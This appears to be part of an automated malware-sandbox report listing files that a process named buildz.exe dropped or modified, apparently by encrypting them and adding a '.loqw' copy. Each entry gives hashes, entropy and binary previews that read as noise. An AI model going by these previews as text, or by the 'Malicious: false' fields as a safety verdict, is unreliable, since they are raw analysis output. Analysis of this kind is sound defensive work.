Preview:	...#..`1_.-g..b_....$..<....l...]...m.N....+..i.(..?..kp.s.{XyQ10...q..p...;@....Q.^s<2...U).'..!...\|.:........L.V@...R...../f.&Ux....W..S.wvr..B...l..xfK.....x..!.W.......A...Op.>.k..pK...i.<..P;....a..l.v...9+h..a..I>.....U......gt_..3.."...m...S)...hT.'..VY..7.7E..........].T }4v...W)..B.^.a...Z\|..=.......<gd6.4."....-..8.FZ"..7.0....S<....[..^.l..3..n.H&..G.R.1..}.aTW.!.1.u..I.;..^.A.M.....a....=.....\.l......n.........qc#B.Fdz^v..%UC..E...,9._;.....\|-....>/]=M.2.'Wc.Z.j.{..]........$....d...&X..c.`...x...W.[ve...p......_..)L.).....8YB..>...2.m=s.....g..bv..'\B.Z.^8...kl-...h.ArD.g.qI9s......%...[.T...9...}ku........Z........i..D1^....O...........V..vq..g-..Y..{UX.dY...C.....U\|.6.~.........gZ..?,.!....$.1......H...a_&_..A..$-.D..O!...^....p...@....9 J.Mm3h..2....T.w.4....-..r..<sf.>....=:.Z..f.-T.bM..z...(.<.......1..qms..)...z.....).wG...:.5......B.[3E...$.b..]..3......N...DT.v.r}B..F.<.cZ9=..t.`8.@.p..i2./.!...L......

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4168
Entropy (8bit):	7.958821876490303
Encrypted:	false
SSDEEP:	96:fqxliux04y+8WvbwaDaMbW/KUd8Y2z7RG1MbtW3V9A3YFdKvjanaln5:fqlq4rkaDLS/KUdMz+MbtWl9AYFdva95
MD5:	553E8B6DB7C75C40E5BD168412990616
SHA1:	19632C2C4E2E8FAA13B127DD4E8E3C9618CE4C63
SHA-256:	3E301B9795266D94A04538A1B776180C4C651D6BA9FB817FFF7D116639103BB6
SHA-512:	D0EB6B21F9F2418B4B00F2B8530F4A5733960CABCD8CBA1F1D9FC178ADF14A418A36F48C99FB0FED186F3B533C73AE15864B2F00AB8519A92C01245256B37F86
Malicious:	false
Reputation:	unknown
Preview:	...#..`1_.-g..b_....$..<....l...]...m.N....+..i.(..?..kp.s.{XyQ10...q..p...;@....Q.^s<2...U).'..!...\|.:........L.V@...R...../f.&Ux....W..S.wvr..B...l..xfK.....x..!.W.......A...Op.>.k..pK...i.<..P;....a..l.v...9+h..a..I>.....U......gt_..3.."...m...S)...hT.'..VY..7.7E..........].T }4v...W)..B.^.a...Z\|..=.......<gd6.4."....-..8.FZ"..7.0....S<....[..^.l..3..n.H&..G.R.1..}.aTW.!.1.u..I.;..^.A.M.....a....=.....\.l......n.........qc#B.Fdz^v..%UC..E...,9._;.....\|-....>/]=M.2.'Wc.Z.j.{..]........$....d...&X..c.`...x...W.[ve...p......_..)L.).....8YB..>...2.m=s.....g..bv..'\B.Z.^8...kl-...h.ArD.g.qI9s......%...[.T...9...}ku........Z........i..D1^....O...........V..vq..g-..Y..{UX.dY...C.....U\|.6.~.........gZ..?,.!....$.1......H...a_&_..A..$-.D..O!...^....p...@....9 J.Mm3h..2....T.w.4....-..r..<sf.>....=:.Z..f.-T.bM..z...(.<.......1..qms..)...z.....).wG...:.5......B.[3E...$.b..]..3......N...DT.v.r}B..F.<.cZ9=..t.`8.@.p..i2./.!...L......

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.657495161523359
Encrypted:	false
SSDEEP:	12:kBe5iGxlO9QGhbRofEikmvGgvrWviDQBsBXyUk2ZSSBLLpcTNmJ3/B7ef1+cii9a:4e5iGxlO9QGNqDkG9rDBCwZSSt04957z
MD5:	FCF94F74CB514AD1CEBE88D36B91EFE8
SHA1:	5037D7E130D1011961B2556757B2B1BFB90A8ED5
SHA-256:	1D76BD78407946F6D54501463C948A67275CA37F44730E458B9DC04AE2A20EB1
SHA-512:	A84A87FA66517120AFCF2357627ED438C15783C0106611086E385823FE461A56CF1D0D4A309D2E9A1979C6E34FFC22A2F7F88C72359D7B0CDBD482C851B2B94D
Malicious:	false
Reputation:	unknown
Preview:	2023/...8..s..=A.Be...._<. ...G.e...GzYa7.KI........ZNL..Fv..$.<.1...'.T.......&..I..~........h..l]...~r0.<`....R.....!.E.y..o..T]8...^.8'.o.&4..E8.Q...<...;R.OpG.....f.VV.w.%~L./...!(.lp.....\|}....a..;.d..y#+.G$.K....T.!...YMgR.....\.....^Y...L ./n(.....k._w.v.o.X...3`E...!...QAb.{OB.... ...e..fy.P.....q...G..... .....e.Z......bZ..^.z.W.;1v......B..4.C...#...E...].omFP;.S..+...B...iY?[......\&.~V.....\...1..Z.w.9Y-...]?.....Y,{ .c\|`..WY>.pn....W`mhw[..u.s](r...kX....n.s.3.+\9IyG:0..2....g].OEK.R.C.g~u..,.'...@b0.U$.........e}.......TXK..w#6...gK.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	658
Entropy (8bit):	7.657495161523359
Encrypted:	false
SSDEEP:	12:kBe5iGxlO9QGhbRofEikmvGgvrWviDQBsBXyUk2ZSSBLLpcTNmJ3/B7ef1+cii9a:4e5iGxlO9QGNqDkG9rDBCwZSSt04957z
MD5:	FCF94F74CB514AD1CEBE88D36B91EFE8
SHA1:	5037D7E130D1011961B2556757B2B1BFB90A8ED5
SHA-256:	1D76BD78407946F6D54501463C948A67275CA37F44730E458B9DC04AE2A20EB1
SHA-512:	A84A87FA66517120AFCF2357627ED438C15783C0106611086E385823FE461A56CF1D0D4A309D2E9A1979C6E34FFC22A2F7F88C72359D7B0CDBD482C851B2B94D
Malicious:	false
Reputation:	unknown
Preview:	2023/...8..s..=A.Be...._<. ...G.e...GzYa7.KI........ZNL..Fv..$.<.1...'.T.......&..I..~........h..l]...~r0.<`....R.....!.E.y..o..T]8...^.8'.o.&4..E8.Q...<...;R.OpG.....f.VV.w.%~L./...!(.lp.....\|}....a..;.d..y#+.G$.K....T.!...YMgR.....\.....^Y...L ./n(.....k._w.v.o.X...3`E...!...QAb.{OB.... ...e..fy.P.....q...G..... .....e.Z......bZ..^.z.W.;1v......B..4.C...#...E...].omFP;.S..+...B...iY?[......\&.~V.....\...1..Z.w.9Y-...]?.....Y,{ .c\|`..WY>.pn....W`mhw[..u.s](r...kX....n.s.3.+\9IyG:0..2....g].OEK.R.C.g~u..,.'...@b0.U$.........e}.......TXK..w#6...gK.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.47766021251563
Encrypted:	false
SSDEEP:	12:6Busm1JgyDG9830z8EcE55AlHLH1+cii9a:6xkvqNbD
MD5:	E25D0DC6B94DA1DD780C57ECA20B91D0
SHA1:	1A0CECF162A4D996FADE3A1AC1E48A840F61F03A
SHA-256:	E1955600E3C16823FE2C3D914A499F60C6912941DA27B4EC4BA665410407F3E1
SHA-512:	8F5617ED2BD65C0D770C3222739BC6F65EC296B14043935142978B718C9B2D5A7BC67513E86936D6D7DA6A9643B9D28B528CA6D808A4F82700BF4A2644845738
Malicious:	false
Reputation:	unknown
Preview:	S.z1...1..ix.....JC`...m.....>H..T....N.6(9a.B...}........X.]oC.S.Q.....d...b.{..-..I.n...3.............2.(Y.....r.;........p.h........._`.@...........w].+n.....t....y..,.=...9..i.....b..!i.L..P....*"@-8....0?..Lc..j.9.r....k%U..[..]...o3.'.....b:>0....R./.}..0..(.....6`.}.._z...h.W.`..bK..4^.q..`..b....+....k.}"m.3.EL...d.L.4%:t}.K.4..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.47766021251563
Encrypted:	false
SSDEEP:	12:6Busm1JgyDG9830z8EcE55AlHLH1+cii9a:6xkvqNbD
MD5:	E25D0DC6B94DA1DD780C57ECA20B91D0
SHA1:	1A0CECF162A4D996FADE3A1AC1E48A840F61F03A
SHA-256:	E1955600E3C16823FE2C3D914A499F60C6912941DA27B4EC4BA665410407F3E1
SHA-512:	8F5617ED2BD65C0D770C3222739BC6F65EC296B14043935142978B718C9B2D5A7BC67513E86936D6D7DA6A9643B9D28B528CA6D808A4F82700BF4A2644845738
Malicious:	false
Reputation:	unknown
Preview:	S.z1...1..ix.....JC`...m.....>H..T....N.6(9a.B...}........X.]oC.S.Q.....d...b.{..-..I.n...3.............2.(Y.....r.;........p.h........._`.@...........w].+n.....t....y..,.=...9..i.....b..!i.L..P....*"@-8....0?..Lc..j.9.r....k%U..[..]...o3.'.....b:>0....R./.}..0..(.....6`.}.._z...h.W.`..bK..4^.q..`..b....+....k.}"m.3.EL...d.L.4%:t}.K.4..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.66638941173054
Encrypted:	false
SSDEEP:	12:k3SK8GhQCriKmJtOmd0p9VIz+5rVFbrIYNUawCls7JjhdNf1+cii9a:/lTgiFOa0p9VIz8rHvO9iuD+bD
MD5:	C10923B7EF743A406542C77E60EADB5B
SHA1:	7CCAB5EC5B8D4112A130128929A2DD74EE815029
SHA-256:	F8F8DAB65D98C9A820E0BD0752B6F773DE2093DD197A0FD31F4AF14F83F30896
SHA-512:	5BC293A17FBA8F9DC3E482A0569017F486F3AF97E3C2F52EA10166D659A72E05823248546EDF04814A05293351DABA65AB50E8FD8855E26A4F44D0A7845E1FE0
Malicious:	false
Reputation:	unknown
Preview:	2023/3.~...Q..`......./........IFe..yW./...a1.....6."Q.<.....`gs.5n.\|Q..T.^.@].......IF.]...T=..,..O.A..6.....Z u:.#..=.Kl\>...j..]bN.I.2.......^.d.......h...n...1 ..A;r....x..cVT..x.h.}&...<..K..Q... ...h5H.../(......:"..E......Y........<y.o.L.;.-...k.o.b...d...[hb,x@.....t..U..."....\...+.o.(.. ..>.N.M..;...b[Z'........... .+...lr,.2+..........c'..1...L..6....A.{....7...fU.....5....+...4.Q..7.v.~.u.&>.....7.......q.n.CR..>.\&..X....F.a.R".[.j/8u..J.........m..:.V.........n*^{MpEf...u.-0.....K.S.)u.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.66638941173054
Encrypted:	false
SSDEEP:	12:k3SK8GhQCriKmJtOmd0p9VIz+5rVFbrIYNUawCls7JjhdNf1+cii9a:/lTgiFOa0p9VIz8rHvO9iuD+bD
MD5:	C10923B7EF743A406542C77E60EADB5B
SHA1:	7CCAB5EC5B8D4112A130128929A2DD74EE815029
SHA-256:	F8F8DAB65D98C9A820E0BD0752B6F773DE2093DD197A0FD31F4AF14F83F30896
SHA-512:	5BC293A17FBA8F9DC3E482A0569017F486F3AF97E3C2F52EA10166D659A72E05823248546EDF04814A05293351DABA65AB50E8FD8855E26A4F44D0A7845E1FE0
Malicious:	false
Reputation:	unknown
Preview:	2023/3.~...Q..`......./........IFe..yW./...a1.....6."Q.<.....`gs.5n.\|Q..T.^.@].......IF.]...T=..,..O.A..6.....Z u:.#..=.Kl\>...j..]bN.I.2.......^.d.......h...n...1 ..A;r....x..cVT..x.h.}&...<..K..Q... ...h5H.../(......:"..E......Y........<y.o.L.;.-...k.o.b...d...[hb,x@.....t..U..."....\...+.o.(.. ..>.N.M..;...b[Z'........... .+...lr,.2+..........c'..1...L..6....A.{....7...fU.....5....+...4.Q..7.v.~.u.&>.....7.......q.n.CR..>.\&..X....F.a.R".[.j/8u..J.........m..:.V.........n*^{MpEf...u.-0.....K.S.)u.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.596202816940394
Encrypted:	false
SSDEEP:	12:GIhrAd3j03gnpdEwMUCJEmD0ilrIiwQqToQdY8EJKa1+cii9a:GcE7ELU2EmnrIS8EJubD
MD5:	26FC5A26F53A2D3371C5BCBD82FC37E0
SHA1:	5462266B80EE14E586624058FAD5632F0238DEE0
SHA-256:	534C366681A8579B4B449EB9823EF6CE3D2621AE81C651124BD9ECA414B2C312
SHA-512:	F15021300BE372A397942879E230E973546D08A30A049403AE715B2F537380173F11A691F7AF7B37C3887833ABD9560170E116EA442F3E9C613517C7BBD3DA68
Malicious:	false
Reputation:	unknown
Preview:	.h.6..\|.......V..9'@B........".\..^..e.G....D..3.\|..!,...:/K.`..`N'...TqJ........Y.....fb.`......4x]..A..},..T....\|..X.{.p...K.:/oJ...'....~...>....a%...n....uJ!.....`....4..U.\|Cn.....EP{.5r.v[....M.w.jz.g^4.....J.c.,...=.P......~.........h'NF.'r....F...\?.2.Bm%26>p.<.e....K..dc.;".B...[.....Mk.k....X. D.f.e....)y..`.(..M.........6v.).Z.7.>...;.CRc..[...n.6.Ad..t.e.....1.:..0+.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.596202816940394
Encrypted:	false
SSDEEP:	12:GIhrAd3j03gnpdEwMUCJEmD0ilrIiwQqToQdY8EJKa1+cii9a:GcE7ELU2EmnrIS8EJubD
MD5:	26FC5A26F53A2D3371C5BCBD82FC37E0
SHA1:	5462266B80EE14E586624058FAD5632F0238DEE0
SHA-256:	534C366681A8579B4B449EB9823EF6CE3D2621AE81C651124BD9ECA414B2C312
SHA-512:	F15021300BE372A397942879E230E973546D08A30A049403AE715B2F537380173F11A691F7AF7B37C3887833ABD9560170E116EA442F3E9C613517C7BBD3DA68
Malicious:	false
Reputation:	unknown
Preview:	.h.6..\|.......V..9'@B........".\..^..e.G....D..3.\|..!,...:/K.`..`N'...TqJ........Y.....fb.`......4x]..A..},..T....\|..X.{.p...K.:/oJ...'....~...>....a%...n....uJ!.....`....4..U.\|Cn.....EP{.5r.v[....M.w.jz.g^4.....J.c.,...=.P......~.........h'NF.'r....F...\?.2.Bm%26>p.<.e....K..dc.;".B...[.....Mk.k....X. D.f.e....)y..`.(..M.........6v.).Z.7.>...;.CRc..[...n.6.Ad..t.e.....1.:..0+.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	modified
Size (bytes):	635
Entropy (8bit):	7.663091757289015
Encrypted:	false
SSDEEP:	12:kRIfHhw1+kcQrissAYJDzXxnvkCK3ZklTs1FilUKDf2j2a1+cii9a:sIf21HGF9ib3PcO6fUobD
MD5:	A37A43EA05C8EC94D2799B119AB21061
SHA1:	1BB6090FE30CAFAEAEBFC9E81487A5C7CA4265D4
SHA-256:	52A08884D1B2539EC3C77F734C9D6EB7C4F7D92581C915BC3A9312099040C111
SHA-512:	A4D5DBCDE0CD8A578CCB32DF70DDBA43D0100986FBE05EC57CFEC111B24774E194953FC0733F6C8F08AD4C1F6790FED4069061323245B70F4EC2C5B151435407
Malicious:	false
Reputation:	unknown
Preview:	2023/......\|.w.\..(7..a.<.&....hi..WA.....C...:M..B+.8....,...[......._.....tVK....y.K?g....z2.6W..K....;..]...,/a..`4_k.Jv....m.g#".... P^....?..i...`!!.9..>.[./0...}.......,......e..Tq....Jhe.......f..F".(.1k6.#..g.}F......HR..\|..->k...%.S.A.!O...e.y.h!.T}b..w..B..x....-d..f2...).....@.he.YRl..d.%...p...5.... .2[.R_..Y.......A...E...M....L. ."".-..*.t.N.d..O3..f.M.5D1..,..&y.%a.........;....D%!..6....55.[^.T\q....7...../.....l.P............\.Y..VB.....]..TX....#..[. 8J.R.......[@.6Y....R..".II.....7s\3.t..'...dl.....MSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	635
Entropy (8bit):	7.663091757289015
Encrypted:	false
SSDEEP:	12:kRIfHhw1+kcQrissAYJDzXxnvkCK3ZklTs1FilUKDf2j2a1+cii9a:sIf21HGF9ib3PcO6fUobD
MD5:	A37A43EA05C8EC94D2799B119AB21061
SHA1:	1BB6090FE30CAFAEAEBFC9E81487A5C7CA4265D4
SHA-256:	52A08884D1B2539EC3C77F734C9D6EB7C4F7D92581C915BC3A9312099040C111
SHA-512:	A4D5DBCDE0CD8A578CCB32DF70DDBA43D0100986FBE05EC57CFEC111B24774E194953FC0733F6C8F08AD4C1F6790FED4069061323245B70F4EC2C5B151435407
Malicious:	false
Reputation:	unknown
Preview:	2023/......\|.w.\..(7..a.<.&....hi..WA.....C...:M..B+.8....,...[......._.....tVK....y.K?g....z2.6W..K....;..]...,/a..`4_k.Jv....m.g#".... P^....?..i...`!!.9..>.[./0...}.......,......e..Tq....Jhe.......f..F".(.1k6.#..g.}F......HR..\|..->k...%.S.A.!O...e.y.h!.T}b..w..B..x....-d..f2...).....@.he.YRl..d.%...p...5.... .2[.R_..Y.......A...E...M....L. ."".-..*.t.N.d..O3..f.M.5D1..,..&y.%a.........;....D%!..6....55.[^.T\q....7...../.....l.P............\.Y..VB.....]..TX....#..[. 8J.R.......[@.6Y....R..".II.....7s\3.t..'...dl.....MSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	11214
Entropy (8bit):	7.984014101157458
Encrypted:	false
SSDEEP:	192:zK6ZjfZ78cAA46MBPeBD7lhSdU+A/C1ZaozVThYfFLdkauP7iz:GYjfZ79CV+D7WU+A/C1vzVThYsrP7iz
MD5:	513D0DF41455D1C1D4CD23E2B8BD4960
SHA1:	67FF94DA1FAD9B987DD7A76306A5FCDB1FBB2D7D
SHA-256:	929CFFE34460D7E0E9FBBDD6C3654214EB9359F4253002939CEEA6FBC1AFF803
SHA-512:	CE28DFC9CC1F9549F8F226CA6C65D05B8E1879192CC37B4FDF30C7FA56BA3667C98924D979147CBAD8E0C0B3B6809B4A0B850BC14FA4850D76B2591E6F8BD9E7
Malicious:	false
Reputation:	unknown
Preview:	%!Ado.R./.o..6..../.....fB.i.\..bO...3..P.`.2&.GY Y.....\.8....R.yW..^."...#.W....hb..... .)H8..#l..l.~...n....y.....C\|......I..i..e.&.. .....B.Dnz...8rh.`.^+..X$.E._m4X..A.I....u../.M.4e.~}c....R.a.....Wb....Q.k....-..?6.....1c^.9_.....l..........L...s...........p%.....5..l......8...........=~u)J.......KO..%\|....8s.`....Nu.{..j ...W.1n.,`....D....Z........\|.K...5.....H.....w.... 7Z..[.....W.3......-.NS$.g.DCkY.er<..N.6.@....J..\uH\|......"....#.:...s.b.N....k...Y0...^7..F.K...x...lIu..y[./...........i.#..P...x..p..hNZ.{rO[.s..e...N."....y..^ #U~..t.......#`_....e..F.J...W.r./z~..?..B?.LS.......+-9.5.._zD(...b.'.~1).f...'..?.iP..r....H:~.].APo9a..k"s.......O~p..Q.{R.l....w.tV...l3.D.wG.(^Qx(.l.i.R..4.S..0..D..G1x..TO.g0A...\i.S.*X....g..%...eF.T.%.'..?&..rIF.E....ZU...4...P,.c.......&.g`v.%..4.`. ..:t...OdV..x.B.1..w"..B.Y n..4.u...\...h... .5.8...3.&...lLK34.:{.wZF.&...$.....&c...t.N.(.~.+..(...".G.M.AH#^u.U.p....nY....v~%...

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	5196
Entropy (8bit):	7.96663409607487
Encrypted:	false
SSDEEP:	96:LY6XiFl0QLZxBtNEVaWMZktemsCxfdyQFXIHU3poTJSAwh:pSFl/ZRNEVMfmJxFFIHU32TxS
MD5:	A82C86D6D4BCBC4A7CE86D65BBB31062
SHA1:	27DF676BA8E1837E84AA7462111C13AFC833CF11
SHA-256:	CFFB71728469234E7D4FDA6ED2518F381DDCFA7618F2D67758D53ECB9A0DF052
SHA-512:	AA7BD1AEA2BDF34370A066A8F04DFE453A9F553FBC91454B26425CC4886546B847B61CB66F041DDDF9C9980950F8460202C6B86A9C830B39CEDD2CBBF316FF85
Malicious:	false
Reputation:	unknown
Preview:	.{..e..1..m.%%.Z....B.3.fs]......a.....?...-..%...X..t\P.Z.Z/...C./.5..C...W#[.^.8...N.B.ZG l....T..F.5e.9..-/.GJ..... ..I.Au5HI!.oB.D..u]A..\.X:. ..^...I\.\|........./.(.=e...3..~=.S.mXql.........N..b..dj........O.M.P.t....{G=..J@..>.......R]..iY.<Y.9Q..r. d8r..,j.q.b...~..e..{...u..7.U..k/;.+....M.....:<......g1.K..._.Bw..C+ []#....o..9.D:....^..R......F.x...{.6.Y*,..2.G....A....Y)....0..?..G._.....8\...A.:....4.N.....1...~....2....P..."......-...31aAXS........TL[<~..j.$.X...n.4..r..[.........[.o....^:.~p..).7..L~....:JH~......L.E9.....~...8..<......sx..".Ry..X.......M..t..&..R....Nd.....;.C..J..._._.y.....a..]@k.Yy.'.u..RGH?.[.HMC..."W...6.eF2."().8..1..w.o}......\|q......v.f...._..F.XR.qq.u....p.7.k`...]3f...9..:W#........s.R..F......./(.......,.O....J.+.Z.eH.%...?...J}S..'.o..L.%ng4,.v.%@....C..fD.-....J..=..n.S..:.....1!w...z..\.6..~Bq.....\|.c.....FG..4....R.x..<.{keB.h.V.8o X>.,...'..6....Rgy=.kn,2..6.#..wwr2,....)..D

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	988
Entropy (8bit):	7.811606073447244
Encrypted:	false
SSDEEP:	12:q0NbzXDJCeABccy2mD01JCtSbR2qUWlU91UrhQI5qlfYh/J1UalEfkJ10ccziyBn:VboeCcGASbRoiUgjYlkDlWN1BICGTKbD
MD5:	00777C1245CBE716FAB21A281327CC44
SHA1:	D0FACAFCD930EBFA01FBA6EE25F36CA11F118A98
SHA-256:	9CFE131177C1A746A4D14770778A48C606CFB4DA4AC2A3364362AC2585139691
SHA-512:	FEC10EB31C37B1A4557A515DE8EFE6C733086AE94D6EBB3E6E1DC22EEAFAFEDDC3E68518CAAF1FCD349E5B81F63C96F804E243103643E49393E07A73B42F4159
Malicious:	false
Reputation:	unknown
Preview:	....C.X!.7............. .D8..H.z.jR...#=aS6.[.........1.kQ9.....G.v...Tu.t..&..I...Z.....w-...Q.......D..WY......5.......[....a.[..Ub...'.g..rL...pw...:.\.b$....Is.w.....?F..kw,.........ApH....).W..$hq\|.q...".S.0.e.U......btN.;.D...L.p...,..=..G..,.&..4=.....1&.6...{./3.....T:..".@.oP?..b.m..o...W...zK.9Q..=..m......./..x.....v.F...0..4.;.5.v.6."H.I..DUl..I1.?..j'.*...a...eQ..,...&%..x..jze..s.vU....(?.o&K.$....B.7.\..'...u........xx}..&.[....%...=.!.X./...Xx.LN9.#6g.>.1..>....>.=..j..K.\|...0G.#t(.>%.....#B.YW.8h.E..Nu.m.3.T..>........\..U.G.P.....FVf.r.....?..Q. Y@...H.0.~..Qom.-...F........hs.9.N:.BW?..^P...2.....eM...P...M.q.;r..r...Gc......s ....`D......7M..%@H)...y...XzP.....r..9....?.3..'.?.p..;x......W~...x.....'(..(/....^.}..W......<...d..L../.....G...5......Q._oi.@.[fj^...<@..)2.H.'.9.......,...F.V.q....F..(.N_.J...r0>..J,.....M.#k.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdp

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1302
Entropy (8bit):	7.838789391034116
Encrypted:	false
SSDEEP:	24:/iwfe+CtwdXznpTsgJDERoEkAgg/i+/vsdH3D5a3pVvVz/5S0AbD:qwm+CGtzpTsgJrEh1U3D2Vvp/aD
MD5:	EF1C34ABC4E17B4422D2934AA7FF1F6F
SHA1:	0384C6973FE428EC2BFFF0232EDEEA311ED1129E
SHA-256:	9B52378D530D503243DDDFE150BFF87A7DD6FCF7D35B0E5F2737C9231DE4BF08
SHA-512:	7BEC4AC2466000EC8EDFC6ECD473D0D9637676334A25DC6E0BAB55706A50A684DD327EE8359B811B06AA4E1412FE6A0071D73C869F2D0CED6DBB16646B01BF0E
Malicious:	false
Reputation:	unknown
Preview:	.{. ........8..w2u...5.v..A..9.....2#e..k......^.o..Jq.^#.....sG.....g..\|}R.."$_..k.9...,.$........;.Y....HF..h.o..e.....N...c....v.V...b..t.U..V@....8G.")..].P...E.....)X.vi)'..G...s.....2Uq.g.. .g.....9.z..4'..[..\|...6.t.R~....a....<.1..s.o.2./.LY..A...h...F=l1N.#3.9......./.L.e....C...s.dp..:.".;..<.x.#A..{..t.w..B..P4.._.\|.~.....l...P.Q......c#..df.}:J...!N[N...`..Y.n.....>..<6.,..@.S\,R1/G...W....j}6..D.j.^sC"..k.....b...gt..&..Jl..>'.WxoAo.qy.K..Tp..h.jr...u>7h.r.....f..}.UC.y.~.BS.R...l0.pS...j....F......kF....!.<..o....u..v.U.....T8..r..>.r.fv1K>a`..G.;....0..i.'.Y~7E.._9^...=..}.Iz...^.g..H_W..Q.Bn.t..(.......kO_V..........@.c...a.Ac.f..-..@.h8.($........4...."D#~~'..!..lT/..F+..P...N..y.~.....u.`P!.ZW...9.)..f...m....9Ie.....)j9...?..h....=y.......p..),.........a.x...'...\|.x.....I9....^.[.n..Z.";m.Q..I...V.P..-\|...P.`......\u..^}5..........c..J..W3.ZKH....k4h../\|f..v.~.<5'.j_.(y...'.4..I+.... ..h.l.D=I.=..t(...c.:?.....og0.,.?.

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdpresource

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.4010976375196735
Encrypted:	false
SSDEEP:	12:kj7AY/sBplToRM4/98D1epo7m7xV1+cii9a:Un/cplTr+Cm7EbD
MD5:	D1FEAC63374005FB995359A067ECE89A
SHA1:	B9CF54B67E4FE1E405FFA61B66AFC696746F386B
SHA-256:	565BF04068BA9178FFFFBDCE8C3B5C524BA31664C4B7DA473B37F88BFE90E287
SHA-512:	D75C7037E7C9E1D043445952EDD58823DAB4E72492CDA7848B04E438A0020FCC7BD5A9CFB94E9A78D9854259397E5A32EAA6073265856FA1EBE6BD39330D7C63
Malicious:	false
Reputation:	unknown
